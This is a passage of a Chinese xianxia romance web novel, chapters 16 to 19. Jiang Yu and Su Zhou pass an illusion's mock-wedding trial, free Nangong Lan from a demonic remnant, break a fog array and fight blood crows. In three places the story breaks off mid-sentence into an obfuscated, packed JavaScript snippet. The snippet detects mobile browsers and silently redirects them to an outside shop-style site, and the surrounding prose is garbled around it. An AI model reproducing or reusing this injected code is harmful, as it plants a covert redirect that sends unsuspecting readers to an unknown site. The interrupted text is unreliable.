姜鱼一下乐出声,难怪他狼狈成这样,三条恶蛟的战力确实不低,一想到他刚刚经历了什么,姜鱼就忍不住幸灾乐祸。 不过听他夹带冷怒的语气,看得出他对恶蛟是真的痛恨。宗内的事,他一向漠不关心,蛟妖祸害百姓,他不能容忍。似乎他骨子里讨厌修士,更共情凡人,不知是什么原因。 姜鱼收回心思,道,“兰姨说这是最后一道考验,却没说考验的内容是什么。” 宿舟的视线落在那两套喜服上,“这是成婚用的。” 成婚? 谁和谁? 这里只有他们两,总不能是她和宿舟成婚吧?! 16.第 16 章 姜鱼睁大了眼睛看着两套婚服,让她和宿舟成婚,这简直比掉进魔渊还可怕!是她能想到最可怕的事情。 她连着后退两步,摇头道:“不可能,成婚算什么考验?” 宿舟身上还留着未散的剑意,先前因看到南宫兰和方野的回忆引动的情绪,已然尽数平复。 两人对视一眼,对彼此的嫌弃都写在脸上。 姜鱼不甘心的在房间里转了一圈,想找到其他可能得考验,但喜房就这么大,根本藏不下别的东西,空间被封死,也没有出去的办法。 眼下,似乎只有成婚一条路走了。 姜鱼咬牙皱眉,“反正幻境里都是假的,就当跟头猪结亲了!” 宿舟冷眸:“我在你眼里,不如一头猪?” 姜鱼:“想开点,虽然你不如猪脾气好,但猪也不如你会用剑啊。” 宿舟:“你这张嘴,确实比猪会说多了。” 两人互相贬损一阵,冷静下来又不得不面对现实,仔细想想——反正幻境中都是假的,不是穿上婚服就真成了夫妻,正因为确定不可能和对方在一起,又不走心,怕什么? 视线相触,双方达成一致。 “出去之后,绝不能跟其他人提起。” “你也一样。” “哼。” 姜鱼轻哼一声,这种事情绝对是她的黑历史,她巴不得没人知道,怎么可能跟人提起? 她拿起其中的那套裙装,瞥了一眼角落的屏风,又回头看宿舟,“不准偷看。” 宿舟:“没兴趣。” 姜鱼:“你最好是。” 她绕到屏风后,开始换起了衣服。 密闭的房间里没了说话声,十分安静,正因如此,感官变得格外清晰。宿舟背对着屏风,听到衣料摩擦的窸窣声,还有细碎银铃轻轻碰撞的声音。 这声音小而细微,却格外抓耳。 他记得这铃音,是姜鱼手镯上的小玉铃,她身上丁铃当啷的东西不少,发出的声音是不一样的,小玉铃声音清润,玉色衬得她的手腕纤细,施法时灵动翻飞,十分引人注目。 她还有一种编在发辫里的银色小铃铛,声音更加清脆,不仅能干扰对手,关键时刻还能当暗器用,吃过亏之后,宿舟就开始格外关注她身上这些小玩意儿,可此时回想,不知为何,更多的是想起对战中她的模样…… 他握紧了剑柄,借着剑意压制乱飞的念头,让自己保持心绪清明,不过片刻后,姜鱼从屏风后走了出来。 喜裙样式华丽繁复,大红色衬得她的肤白胜雪,气色极好看,眼波明若秋水,唇不点而丹。 宿舟只是不经意看了一眼,刚刚平复的心绪又起了波澜。 他下意识挪开视线,不去看对方。 姜鱼误以为他在嫌弃,不满道:“难道很难看?” 宿舟:…… 她绕开对方,走到桌上的铜镜面前照了照,镜中少女明媚鲜妍,如五月的海棠一般,没看出哪里不好看,只能归结于宿舟的眼睛有问题。 行动之间,带起一阵轻盈浅香,衣料轻擦地面,虽然没看她,但密闭房间内,感官变得十分敏锐,这些细微的动静,无孔不入的抢夺注意。 姜鱼在梳妆台前坐下,斜眼看对方:“轮到你了。” 随着她的动作,发冠垂下的珠帘轻轻晃动,摇动心旌。 宿舟装作不见,拿着喜服走到屏风后面,他行动利落,片刻就换好了衣服。 出来时,姜鱼故意打量他好几眼,摇头,“不怎么样。” 这话说出来有几分违心,其实宿舟能压得住这身红色,浓重色彩将他的轮廓勾勒得更加清晰分明,眼瞳浓得如化不开的墨。 毕竟她唯一认可的对方,就是这张脸,确实有自傲的资本。 宿舟:“彼此彼此。” 两人在镜子前大眼瞪小眼,有一阵没说话,也不知道接下来该干什么。 就在这时,房间里忽然出现了十个酒坛,桌上出现了酒具,南宫兰的声音阴沉响起:“两位新人入了洞房,还差最后一件事便可礼成,享受这良宵春夜。” 听到这话,两人都有些尴尬,很快注意力又被她接下来的话吸引。 “新婚之夜,怎么少得了交杯酒?”她轻言细语,“我为你们准备了十坛酒,喝哪一坛,你们自己选,选得好,这礼就算成了,若是不幸……就只能共赴黄泉了。” 她语气停顿,幽幽道:“当年我和方野未能完成婚仪,如今就靠你们了,可不要让我失望,小鱼。” 南宫兰的声音就此消失,两人看向那些酒坛,她的意思是,这十坛酒中,只有一坛没毒,其他九坛都有问题。 所以这是……十选一? 姜鱼走到房门口,蹲下仔细看,酒坛都是一模一样的大小,外观上看不出差异,都用红泥封口,区别只在坛身上贴着的纸条,有五坛写着“醉梦酒”,另外五坛写着“玉梅酒”。 “这些酒,有一半是兰姨酿的,一半是方野酿的。” “何以见得?” “看封泥,还有酒坛的新旧程度。” 说话间,她又凑近闻了闻,酒香透过泥封透出,香气纯厚浓郁,更让她确定了自己的想法。 宿舟看着她蹲在那,鼻间耸动,像只偷酒的小鼠,莫名有些可爱。 念头一闪而过,就在他觉得荒谬时,姜鱼突然回过头,“你说怎么选?” 他微怔一下,回神道,“没法选。” 姜鱼耸了耸肩。 确实。 她也是这么想的。 按兰姨的说法,只有一坛酒安全,其他九坛酒可能有毒,他们根本不知道是什么毒,身上带的解毒丹也不一定派上用场,甚至不能贸然打开酒封,万一开封就冒出毒气呢? 这种情况下,只能靠猜。 她沉思了一会儿,似乎想到了什么,目光在十坛酒上转了一圈,拍了拍最左边那坛醉梦酒,“既然这样,不如就选它吧!” 宿舟:“你确定?” 他看着姜鱼将那坛酒抱到桌上,拍开封泥,浓郁酒香四溢,她深深吸了口气,满意道:“就是这香气,跟我小时候闻过的一样!” 宿舟:“所以,你只是想喝酒了?” 姜鱼:“那你说选哪坛?” 宿舟:…… “刚才问过你了,你也没发表意见。” 说话间,姜鱼将酒倒进桌上的酒杯里,酒液澄澈,香气浓郁,看不出有什么问题,他的目光落在姜鱼脸上,她神色平静,眼神没有半分恐惧。 宿舟微微沉思,他不能相信姜鱼,但可以相信姜鱼不想死。 以他对姜鱼的了解,她选了一定有理由,绝不是像她嘴上说的,凭运气瞎猜的。 “喏,给你。” 酒杯递到面前,宿舟抬手接过。 姜鱼有些诧异,“你真喝?” 宿舟没说话。 姜鱼说:“你可以再选选,我们一人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16593569|185027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喝一坛。” 宿舟挑眉:“加大中毒概率?” 姜鱼:…… 所以他就这么相信自己的选择?这还是宿舟,他没喝酒已经醉了? “要是这杯酒有毒怎么办?” “死了也有你陪葬。” “呵。” “那真是便宜你了。” 她端起酒杯刚要喝,忽然想起来兰姨说的是交杯酒,神情一滞,人有点麻了,再看宿舟,表情也好不到哪里去。 两人的眼神都在回避,身体却不得不靠近。 宿舟身上有淡淡的雪松气息,靠近时令人心神一凛。 “你、你手伸过来。”姜鱼再度开口,竟不小心磕了一下嘴皮。 他的手稳稳端着酒杯,靠近时一丝不晃。 姜鱼有些不习惯他离这么近,“先说好,不准趁机偷袭。” “出幻境前,我们是合作关系,你健忘?” “我是怕你忘了。” “你紧张的时候,话比平时多。” “我有什么好紧张的?” 嘴上互相攻击,两人的手臂已经彼此交叉,挽在了一起,看似竟有几分亲密无间,酒杯缓缓凑到了对方嘴边。 视线在空中相撞,又像是被烫着一般,飞快移开。 桌上的红烛成双成对,此情此景之下,穿着婚服的对方,映在彼此眼中,竟有了一种与往日不同的感觉。 姜鱼只想少看两眼,万一哪天她真的和人结为道侣,成礼时想起的却是宿舟的脸,那该有多尴尬? 然而,她注定不能回避太久,这交杯酒不看着对方,是喝不了的。 她转过头,发现宿舟也在看着她,眸色深如渊海,心思莫测。 而她发现自己梗着脖子,举着酒杯,已经累了,催促道,“快点。” 宿舟的酒杯贴上她的唇,指尖随之轻轻擦过她的唇瓣,柔软如花瓣的触感,令他手指不受控轻蜷了一下。 随着酒杯倾斜,酒液润湿了她的唇,像露水沾上了花朵,宿舟的目光落在其上,如同栖在花上的蝶,留恋不去,就连被她毫不客气灌入口的酒,也浑然不知滋味。 等酒杯见了底,才下意识滚动喉结,咽了下去。 这一刻,他已经完全忘了,自己喝下去的,可能是一杯毒酒。 咕咚—— 酒杯滚落的声音打断了他沉浸思绪,他看到姜鱼的手骤然垂落,人也缓缓往下倒去。 宿舟一把扶住了她,动作之快,完全是身体先于大脑反应。 “姜鱼?!” 难道是毒发了? 这念头刚冒出来,心跳骤然紧了一拍。 不可能,自己没事,她喝了也应该没事才对。 再看她两颊飞霞,眼波软如丝缠,分明是喝醉了。 宿舟:…… 这什么酒量? 认识姜鱼之前,他都不知道有人会离谱到这个地步,沾酒就倒了。 姜鱼被他扶着,一屁股坐在凳子上,手在腰包上拍拍摸摸,半天也没找到口袋在哪,丧气嘟囔:“我的包坏了。” “你找什么?” “解酒丹。” 说她醉了,倒还有两分清醒。 宿舟伸手过去,姜鱼立刻紧紧捏住包,满脸防备:“你干什么?” “帮你找。” “凭什么?你谁?” “……” “姜鱼,刚喝过酒,就不认人了?” 17.第 17 章 姜鱼迷迷糊糊看着他,宿舟在眼中变成了一团模糊的红影。 她的睫毛浓翘,眼波荡啊荡,柔得像春天的柳条,款款轻摇。 宿舟从未见过她私下喝醉的样子,更没被她这样看过,只能侧过头,避开她的视线。 她晃了晃脑袋,“你别晃了,离我远点。” 宿舟:…… “算了。” 既然她不乐意,宿舟也不想再管她。 他顿了一下,松开了手,姜鱼摇摇晃晃的,自己也坐稳了。倒是他,手上骤然失去那份重量和温度,竟有种莫名的失落感。 姜鱼虽然醉了,但防心一点不减,她自己转着凳子,挪到背对宿舟的方向,再次翻开小腰包,找了半天,闻闻嗅嗅,翻出一颗丹药吃了下去。 宿舟也不知她吃的什么,反正她总不至于把自己给毒死了。 她吃了丹药,就开始闭目养神。 宿舟抱着剑,找了个角落站着,看似在等姜鱼清醒,实则一直在观察密室内的气息流向,他天生剑骨,拥有极强的感知力,片刻后,察觉到一股魔息靠近,他立刻意识到南宫兰本人前来了。 他站直身,将剑换到单手提着,走到了姜鱼身边。 他刚走过去,姜鱼一下站了起来,弹开一步,“你干什么?” 宿舟挑眉:“清醒了?” 姜鱼:“我刚才也没醉啊。” 宿舟:…… 他能说什么呢? 只能抬眸看向房间外,“有人来了。” 话音落,房门嘭一声打开,南宫兰就站在门口,她一现身,浓重的魔气直冲两人,宿舟早有防备,拔剑一斩,剑气劈海,魔气徐徐散去。 两人跃出房门,出门时,姜鱼忽然拉了他一下。 宿舟:? 一瞬的眼神交流,姜鱼似乎暗示他——看南宫兰。 宿舟凝眸,她在暗示什么? 他确实觉得南宫兰身上有股违和感,她身上魔气浓重,但她看姜鱼的眼神,并不只有恨,更像是有两种情绪糅杂在一起…… 南宫兰视线在两人身上转了一圈,“这套喜服,倒是配衬你们。” 她的眼神透着怀念,目光虚落在他们身上,仿佛回到了那一年,她的人生从那年坠落,再也无法回到过去。 枯瘦的手轻轻拂过酒坛,她抬眼问:“你怎么知道该选哪坛酒?” “我不知道。” “嗯?” “我只是在赌,其实这十坛酒,都没有毒。” 南宫兰动作一顿,再度露出意外神色。 “之前路过醉春楼,听见人议论醉梦酒,我才好奇进楼一看究竟,楼中卖的醉梦酒,虽然闻起来相似,但和我记忆中还有差距,我便知道,楼中的酒不是兰姨亲手所酿。” 看过她和方野的旧事之后,姜鱼也明白了她不再酿酒的原因,那么在这里的十坛酒,很可能是出自她和方野之手,是他们最后的回忆,兰姨怎么舍得在里面下毒,用来考验自己? “刚才喝了那杯酒,是小时候喝过的味道。”姜鱼道。 南宫兰看着她,神色阴沉不定,“你怎么不问我,明明通过了考验,为什么还不放你们离开?” 姜鱼眨了眨眼睛,却问了另一个问题,“我看兰姨一直抱着这酒坛,这就是方野酿的那坛酒吗?” “是又如何?” “这么说,兰姨并没尝过这坛酒的味道?” “如今说这些,又有什么意义?” “我相信娘不会因为发现方野入魔,就直接动手杀人,何况那天是你们的婚宴……所以我猜想,那天一定还发生了什么,但兰姨选择了隐瞒。” 南宫兰的表情僵了一瞬,似被她说中,但很快,她的眼神又被仇恨覆盖,“那天发生了什么,你没资格问我。” 当年在她自己的婚宴上,她一直盼着喝下交杯酒的一刻,她想到那时,再品尝方野那坛酒到底是什么滋味……可惜,她永远也等不到了。 她做错了什么,落得这样的下场? 恨意在心头沸腾,她的眼睛渐渐染上暗红色,四周散去的魔气重新聚拢,在她脚下涌动,空间内弥漫着一股不详之气。 低沉喑哑的声音响起,“姜鱼,从你踏进醉梦轩那一刻起,我就没想着让你活着离开。” “你是没这么打算,所以你一直在压制兰姨。”姜鱼道,“我说的没错吧,方野。” 话音落下瞬间,宿舟出剑了—— 如雪剑光如惊鸿,直劈南宫兰面门! 错愕之间,她下意识偏头,没想到剑气并不是冲着她去的,而是她怀中的酒坛! 她立刻召唤魔气回护,然而来不及了,同时袭来的,还有姜鱼扔出的一道暗器,虽然陶裂一声响,酒坛应声而碎。 从碎裂酒坛中冒出来的,不是芳香的酒液,而是更阴郁、浓烈的魔气,那道魔气窜出头瞬间,转头就扑向南宫兰! “兰姨!” 姜鱼上前想救,然而来不及了,眼睁睁看着那道魔气直扑南宫兰面门,从她身上,忽然冒出一道白光。 那是一道凝如清辉的剑意,伴随着隐约的海浪滔声,瞬间将魔气绞杀干净。 “啊啊啊!!” 伴随着一阵惨叫声,姜鱼挂在腰间的白螺剑轻震,小海螺晃了晃,她的视线被那道剑气吸引——那是娘亲的剑意,强大又温柔,无声的守护。 她不禁心生向往,什么时候她才能使出娘亲这样的剑意? 白光散去,南宫兰如梦方醒,她眼中的恨意渐渐褪去,偏头看到地上碎裂的几片贝壳碎片。 那是白荔送给她的东西,她当成项链戴了很多年,方野死后,她一度想砸了它,但最终还是保留了下来。 没想到白荔竟然在其中留下了一道剑意,关键时刻救了她一命。 “刚才那是——” “方野的魔念。”姜鱼走到她面前,蹲下身扶她,“是他一直在迷惑你,扭曲你的本心。” 南宫兰忽然想起方野死的那夜,白荔告诉她,方野入魔已深,甚至对她动了杀念,她当时根本不信。 白荔还说,让她不要再碰任何和方野有关的东西,她一意孤行,带走了十一坛酒,之后的日子,她时而清醒,时而沉沦,渐渐入了魔。 原来她时常听到方野跟她说话,不是幻觉,而是他的魔念未散,一直缠着自己…… 低头一看,地上碎了一地的,不止是酒坛,还有她多年的执念。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16605526|185027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “方野说,这种酒叫‘醉百年’。”她瘫坐在地上,眼睛渐渐失神,“若能一醉百年,该多好。” “兰姨——” “小鱼,谢谢你,可惜……” 她闭上眼睛,赤黑的魔纹缓缓爬上脸颊,身体竟然一点点开始消散。 天上落下细碎的微光,像下了一场无声的雪,这是幻境在逐渐碎裂,宿舟走到她身边,“她怎么——” “兰姨入魔后,恐怕没有吃过人。” 没有血肉供养,魔也是会死的,方野的魔念一直躁动,估计也是察觉这点,这些年他想发设法,依然没能占据这具身体,最后也只落得消亡的下场。 姜鱼将地上的贝壳碎片捡起来,抬眼看他,“你居然看懂了我的暗示。” 宿舟:“我只是觉得,魔气不来自于她,应该另有来源。” 姜鱼:“那你运气挺好。” 宿舟:…… 他看着姜鱼十分宝贝那些碎片,不禁问:“这是什么?” 姜鱼:“不告诉你。” 说话间,幻境完全消失了,风雨声入耳,一阵寒意袭来。 他们似乎被传到了一处荒地,天下着雨,四周都是茂密山林,和他们一起传来的,还有之前在幻境中的那些村民。 他们意识清醒过来,一阵慌乱之后,看到了旁边的姜鱼。 “神女?!” “真的是神女!” 有人对着她磕头跪拜起来,嘴里念念有词。 姜鱼纳闷:“你们喊我什么?” 村民小心翼翼问:“您不是神女吗?” 姜然:“当然不是。” 那人又看了她好几眼,“可是,您跟村里的雕像一模一样啊!” 姜鱼眼神微凝,“你是说,小溪村的神女像?” “对。” 她回头看了一眼宿舟,这又是怎么回事? 两人和村民交流一阵,发现他们并没有幻境中的记忆,他们都是附近几个村的村民,来玉梅郡办事,有两人来自小溪村,在郡上做生意有些时日了。 “这么说,你也很久没回小溪村了?” “是啊,我也是才听说,村子出事了,神……仙子,你刚刚说,村子已经进不去了?” “嗯。” “我知道另一条进村的路,或许可以碰碰运气。” “你能带路吗?” “能。” 村民一口答应下来,不知为何,他觉得姜鱼很亲切,不是因为她像神女,而是有种感觉,自己不知何时受过她恩惠。 就在姜鱼联系于照三人时,醉梦轩内,从南宫兰逐渐消散的尸身上,飘出一道黑雾,被空中无形之手攫取,陌生的声音响起:“很好,这是第二个。” …… 姜鱼问了于照,他们已经回到客栈,正奇怪两人怎么夜深还没回来,他们在幻境中觉得时间过了很久,现实中才过了半日。 众人商量决定,决定明日一早,走另一条路看看情况。 回客栈的路上,雨下个不停。 姜鱼提着小灵灯照明,暖黄灯光映照下,宿舟的脸色比雪还白,雨声淅淅沥沥,姜鱼停住脚步,疑惑问,“宿行云,你怎么了?” 18.第 18 章 宿舟绷紧了唇,“没事。” 姜鱼打量他的脸色,一点都不像没事的样子,难道幻境中斩杀恶蛟伤了元气? 她另一只手悄悄摸进了腰包口袋,夹住了最后一张符纸。 宿舟低眸:“姜鱼,你想天亮都回不了客栈?” 姜鱼:…… 可惜,被发现了。 不过她没放下心里疑惑,宿舟到底怎么了?脑中忽然灵光一闪,想起那次在书阁外,系统说他旧伤复发,莫非他这是又发作了? 直到回客栈,姜鱼也没想出所以然来,于照等到他们回来,松了口气,“你们没事就好。” 进房门前,姜鱼看了一眼,宿舟已经回房了,回想今日,真是惊心动魄的一天,宿舟的秘密,她迟早会发现的。 关上房门,又设下了一道结界,她才将腰包里的东西取出来——是一颗漆黑的、菱形晶石。这是兰姨身躯消散时,她捡到的。 没猜错的话,这就是兰姨的魔种……仔细看看,浓郁的黑色仿佛能将周围的光都吸进去,透着诡异和不详。 “嘶~” 这东西越看越觉得渗人,她拿出封印盒,将魔种严严实实封印了进去。 洗漱过后躺在床上,秋深夜冷,她将被子裹紧了点,明明累了一天,却没什么睡意,一闭上眼睛,就有两支明晃晃的红蜡烛在晃,然后是宿舟的脸,他穿着喜服,和自己喝下交杯酒…… 姜鱼在床上滚了一圈,怨念的咬住被角,为什么忘不掉! 一想到宿舟在隔壁早就睡了,她就更怨念,披在被子爬起来,画了好几个宿舟小人,画上一个大大的叉,这才安心睡了。 两墙之隔的房间里,宿舟熬过了一波旧伤发作的痛楚,缓缓松开紧攥的手,手背上青筋还未平复,他闭着眼睛,睫毛轻颤,片刻后又睁开,望着房顶出神。以往每次发作之后,他说不清是睡过去还是昏过去的,可这次却睡不着,闭上眼睛,眼前一幕幕闪回,换上婚服的姜鱼从屏风后走出,喝酒时滴在她唇上的酒液……宿舟躺在床上,度过了一个无眠之夜。 翌日一大早,众人出发前往小溪村。 两个一晚上没睡好的人,眼底都有淡淡青黑,对视一眼,都从彼此眼中看到了惊讶。倒是其他人都觉得他们是累到了,反而不觉得奇怪。 路上姜鱼一直在看芸晚给的符纸,芸晚将小溪村附近地形都绘制了下来,包括浓雾气流走向,这看起来确实很像一个阵法…… 走了许久,林风懒洋洋开口,“怎么这么远?” 领路村民忙道:“就在前面了,快到了。” 于照回头道,“林师弟,你就不能耐心一点?” 林风道:“明明整座村子都被雾气包围,走哪条路有什么区别?这不是明摆着浪费时间?” 于照皱了皱眉,不想和他起冲突,没说什么。 林风又说:“也不知谁想的这主意,就不能多动动脑子?” 其他人都没说话,姜鱼回头,“你不满意,你就走啊。” 林风一愣。 “谁规定我们五个人必须要一起行动?本来天骄之争就是各凭本事,你有办法进村,大可以自己心动,跟着我们干什么呢?” “姜鱼,你——” “反正机关球可以拆,你自己带走,没人能抢你的功劳。你自己单独行动,既用不着抱怨,我们也不会拖你的后腿,你觉得呢?” 林风大概是没想到姜鱼会跟他翻脸,脸上堆起笑,道:“师妹,我只是提意见而已,你别生气。” 姜鱼睁圆眼睛:“我也是只是提意见呀。” 林风无奈笑道:“姜师妹虽然年纪小,个性还挺强势,宿师弟,你怎么想?” 他想拉人站在姜鱼对立面,却忘了宿舟虽然跟姜鱼不对付,也未必愿意帮他,见对方眼皮都不抬,“腿长在你自己身上,你自己决定。” 林风表情一僵,宿舟这话不是和姜鱼一个意思?他不禁怀疑,这两人的不合是不是装出来的,不然怎么都要跟他作对? 好一个姜鱼,好一个宿舟! 他给两人狠狠记上一笔,忍气道:“大家都是同门,我单独行动不合适,还是先一起去看看情况吧。” 姜鱼耸了耸肩,“随你啰。” 林风差点咬碎了牙,这四个人两个没脾气,一个孤僻怪,一个鬼精灵,想挑起点矛盾,竟然这么难。 不过来日方长,他就不信找不出这两人的破绽。 争执暂时平息,在村民带领下,他们翻过了两座山,进了山间的一条窄路,村民道,“就是这条路,以前上山打猎,我都会走这条路回家。” 几人往前走了几步,前方道路逐渐模糊,无孔不入的雾气又一次围拢过来,将他们隔绝在外。 “看来没戏。”林风第一时间道。 “可惜了。” “这雾真是奇怪……” 几人纷纷叹气,准备打道回府,姜鱼道:“等等。” “师妹,怎么了?”于照问。 “这里……”她拿着那张符纸对照地形,“如果将整个小溪村的地形看成一个巨大的阵法,这里就是阵法的薄弱点!” “当真?”于照有些惊讶。 “师妹,你能破阵?”芸晚有些惊喜。 “能。” 姜鱼回答得十分肯定,林风的表情就有些难看了。试炼看的是个人表现,能解决难题,带领众人进村的人,肯定加分不少,姜鱼要表现了,其他人竟然一点都不急? 在他看来,最该着急的应该是宿舟,他倒是一直在盯着姜鱼,可表情没有半点着急的意思。 见姜鱼着手准备破解诡雾,芸晚还跟她聊起来了,“说起来,四峰也有位师叔阵术了得,他还是少见的剑、阵双修……对了,听说师叔对宿师弟非常欣赏,有心想指点两招,不过后来五峰主找上他,叫他别带歪了自己的徒弟,师叔只好作罢了。” 听到前半部分时,宿舟还在垂眸看姜鱼动作,后半部分令他错愕抬眸,“师尊去找过周长老?” 芸晚也惊讶:“你不知道吗?” 宿舟抿了抿唇,“师尊并未提过此事。” 他一直以为,是因为姜鱼去拜访过对方,才令长老打消了指点自己的意图。 “我也是听咱们峰主说的。”芸晚笑了笑,“五峰主肯定有自己的考虑,你天生剑骨,专注剑道肯定没错。” 宿舟垂下眼眸,姜鱼还在调整阵盘,她眼眸清澈,神情专注,颊边垂下一缕碎发,气质干净如山涧清泉。自己对她,到底存在多少误解? “搞定了!” 随着她一句话,阵盘上七颗灵石全数亮起,天地间起了某种奇异的共鸣,笼罩村子外围的雾气渐渐散去,露出群山环抱中的小溪村真容。 “散了、雾散了!”村民惊喜地喊了起来,“各位仙长真是厉害!” 这话原本是随口而出的夸赞,但其他四人都没怎么出力,被这么一说,都有些尴尬。 这时,山林间忽然飘来一团巨大的黑影,伴随着呱噪的燥鸣声,上百只羽翼漆黑、眼瞳赤红的鸦鸟向着众人俯冲而来。 “不好,是血鸦!” “村外竟然还有妖鸟!” “估计是最近来的,有魔的地方必然藏污纳垢,吸引来这些妖物也不意外。”于照道,“血鸦惧火,多用火属性攻击。” 剑宗附近多山林、多妖兽,弟子们除妖的经验可比除魔丰富多了,应对起这种场面来毫不慌乱,各显本领。 没想到这地方血鸦不止一群,刚除掉一批,又源源不断从四方聚拢来。 芸晚打出数张火符,喊道:“每个鸦群都有首领,杀掉首领鸦妖,其他小妖就会散去,不然它们会一直追着我们的!” 于照一看情况,当即道:“大家分头追,先杀首领!” 刚刚破阵未能表现,现下正是表现的机会了,几人看准了方位,追着鸦群首领而去,只有姜鱼还站在原地,村民小心翼翼凑近,“仙、仙子,你不去吗?” 姜鱼认真道:“我走了你怎么办?” 村民闻言,一阵感动,没想到姜鱼这时候还顾及他,“我可以找个地方藏起来。” 姜鱼:“没事,你在这就是最好的诱饵,用你打窝,也是一样的。” 村民:…… 好像感动早了。 接着,他就见识了姜鱼的本事,群鸦呼啸而至,她拔剑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16605527|185027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出鞘,剑气如月弧,在群鸦之中,精准斩落首领头颅,而后利落收剑,毫不拖泥带水。 等众鸦散去,村民安全后,她四下看了看,选择了一个方向,深追而去。 她追过去的,正是宿舟离开的方向。 昨日刚下过雨,山林中泥泞难行,才走了一段路,又开始下雨了,雨势还不小。 姜鱼抬头看了一眼,天色濛濛灰,冷风嗖嗖而过,再看鞋底,已经沾满了泥,忍不住嘟囔,“什么鬼天气。” 又往前走了一阵,她看到地上晕开的几团妖血,一只体型硕大的妖鸟扑在地上,头已经断了,断口处剑气森然,一看就是宿舟动的手。 然而让她意外的是,前方不远还有脚印和血迹,这可不是妖血,她猛然追上几步,看到了坐在雪松树下的宿舟。 他脸色惨白,紧皱着眉,一手无力垂落,剑就放在旁边,双眼微合,浓密睫毛覆下,如休憩的蝶。这脆弱的模样,她从未在宿舟身上见过。 再一看,他的左腿脚腕处,夹着一个精铁兽夹,鲜血淋漓。 姜鱼睁大眼睛,“你竟然让林子里的兽夹给夹了?” 修士五感远胜常人,不可能发现不了草丛里的兽夹,仔细看他的情况,跟昨日类似,更像是伤势复发了。 姜鱼立刻意识到,机会来了。 她走到宿舟身边蹲下,用一根手指推了推他,“喂,醒醒,死了吗?” 宿舟睁开眼睛,眸色清寒:“我还有一战之力。” “知道。”姜鱼收回手,抱着手臂,饶有兴致看他,“困兽犹斗,生死边缘的剑修,是最不能惹的,我娘教过我。” 宿舟扯了扯嘴角,“你想干什么?” 姜鱼:“告诉我,你身上旧伤的秘密,我就帮你,怎么样?” 他眉头微拢,选择沉默。 姜鱼知道没这么容易,很有耐心的跟他耗,“人都有弱点,被一个人知道还好,一会儿他们几个找过来,被这群人知道了,你还怎么竞争天骄之位?” “……” “而且我已经发现了,你说不说,区别也不大,你——” “我不会说的。”他微微偏过头,语气冷淡。 “那我来猜一猜好了。”姜鱼道,“你这伤势,逢雨发作,有两种可能:中毒或者骨伤,我看你不像中毒,更可能是骨伤……什么骨伤,连五峰主也治不好?” 随着她的话,对方神情渐渐变化。 “我猜,是剑骨之伤。” 话音落,宿舟的长睫一颤,一滴雨水顺着坠落。 猜对了。 随之而来的是更多好奇,剑骨对他非常重要,是谁伤的他?怎么伤的?这就很难猜了,他也不会说。 再耗下去没意义,看他这样,真别死在这了,到时说不清楚。姜鱼随手掐了个法诀,帮他弄开了嵌在腿上的兽夹,霎时鲜血直涌。 他眉梢敛紧,一声不吭,褪去血色的脸,眉目凛然如画,又多了几分如瓷器般的易碎感。 姜鱼问:“你药呢?” 他抬眸:“你关心我?” “想得美,怕你死在荒山野岭,没人收尸。” 他被气笑了,胸口起伏了一下,稍缓片刻,自己上了药,拄着剑站了起来。 刚要走,一阵脚步声响起。有人分开草丛,找了过来,看到两人,先是一愣,接着目光在两人身上转了几圈,逐渐有了深意,“你们这是——” “林风。”没想到他会找到这,姜鱼皱了皱眉,“你来干什么?” “于师兄叫你们汇合。”四周还有淡淡血腥气,他很难不注意到宿舟苍白的脸色、脚上的伤,还有地上的兽夹。 “宿师弟,你看起来状态不好,不会是让这捕兽夹给夹了吧?” “……” “这可不太对劲,莫非,你身上原本就有伤?”他探究的视线黏在两人身上,语气加深,“姜师妹,你知道是怎么回事吗?” 姜鱼刚要说话,忽然脑中电子音响起。 【宿舟的秘密被你发现,作为唯一知情人,你选择——A当场说出/为他隐瞒。】 姜鱼:?? 林风:“姜师妹,你怎么不说话?” 19.第 19 章 面对系统的选项,姜鱼有些犹豫。 她不想在这时候维护宿舟,可她也不待见林风,偏偏他自己撞上来了,她又没有帮宿舟隐瞒的义务。 而且权衡利弊,多一个人知道这事,可以给宿舟制造压力,对于她竞争天骄更有利。她完全可以选择说出去,可是—— 旁边这人一声不吭,也不阻止她,这让姜鱼难以理解,宿舟就这么信她不会说?还是他有办法应对? 她动了动脑筋,有了主意,她可以选A,但不把话说明白,只要增加林风对宿舟的猜忌之心,他自然会把注意力放在宿舟身上,这一招,就叫祸水东引。 做了决定,她按下选项。 “啊——” “姜师妹,你怎么了?” 她选错了!! 她脑子里明明想选A,竟然手滑选到了B! 林风惊讶,“难道我之前猜的是真的,姜师妹和宿师弟关系这么好,竟然不惜装疯卖傻为他隐瞒?” 姜鱼:你才装疯卖傻! 她想说话,却说不出来,才发现选了B之后,系统竟然不让她开口了! 见她默认,林风又将信将疑起来,难道这是他们两联手算计自己? 